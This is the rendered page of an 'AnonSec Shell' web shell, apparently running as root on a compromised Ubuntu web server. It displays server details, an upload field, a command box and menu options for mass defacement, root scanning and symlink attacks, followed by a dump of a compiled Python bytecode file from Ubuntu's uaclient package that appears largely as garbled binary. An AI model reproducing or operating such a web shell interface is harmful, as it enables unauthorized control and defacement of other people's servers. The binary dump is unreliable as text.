AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/uaclient/api/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/uaclient/api/__pycache__/errors.cpython-310.pyc
o

F��c�@svddlmZmZddlmZmZddlmZddlm	Z	ddl
mZddlm
Z
dedefd	d
�ZGdd�de�Zd
S)�)�Dict�Optional)�APIResponse�ErrorWarningObject)�UserFacingError)�WARN_NEW_VERSION_AVAILABLE)�get_pro_environment)�check_for_new_version�	exception�returnc	Cs�t|ttf�rt|j|jpd|jj|jpid�}n
tt	|�d|jjid�}g}t
�}|r>|�ttj
|d�jtjid��tdddddd	�tt����D�ii|g|d
�S)Nzgeneric-)�title�code�meta)�version�v1�failurer�environment_varscSsg|]	\}}||d��qS))�name�value�)�.0rrrr�5/usr/lib/python3/dist-packages/uaclient/api/errors.py�
<listcomp>+s��zerror_out.<locals>.<listcomp>)�_schema_version�result�data�errors�warnings)�
isinstancer�APIErrorr�msg�msg_code�	__class__�__name__�additional_info�strr	�appendr�formatrr�sortedr�items)r
�errorr�new_versionrrr�	error_out
sJ
�
����
����r,c
s@eZdZ		d	dededeeeefddf�fdd�
Z�ZS)
r�	api-errorNr r!r$rcst��|||�dS)N)�super�__init__)�selfr r!r$�r"rrr/7szAPIError.__init__)r-N)r#�
__module__�__qualname__r%rrr/�
__classcell__rrr1rr6s�����rN)�typingrr�uaclient.api.data_typesrr�uaclient.exceptionsr�uaclient.messagesr�
uaclient.utilr�uaclient.versionr	�	Exceptionr,rrrrr�<module>s,

Anon7 - 2022
AnonSec Team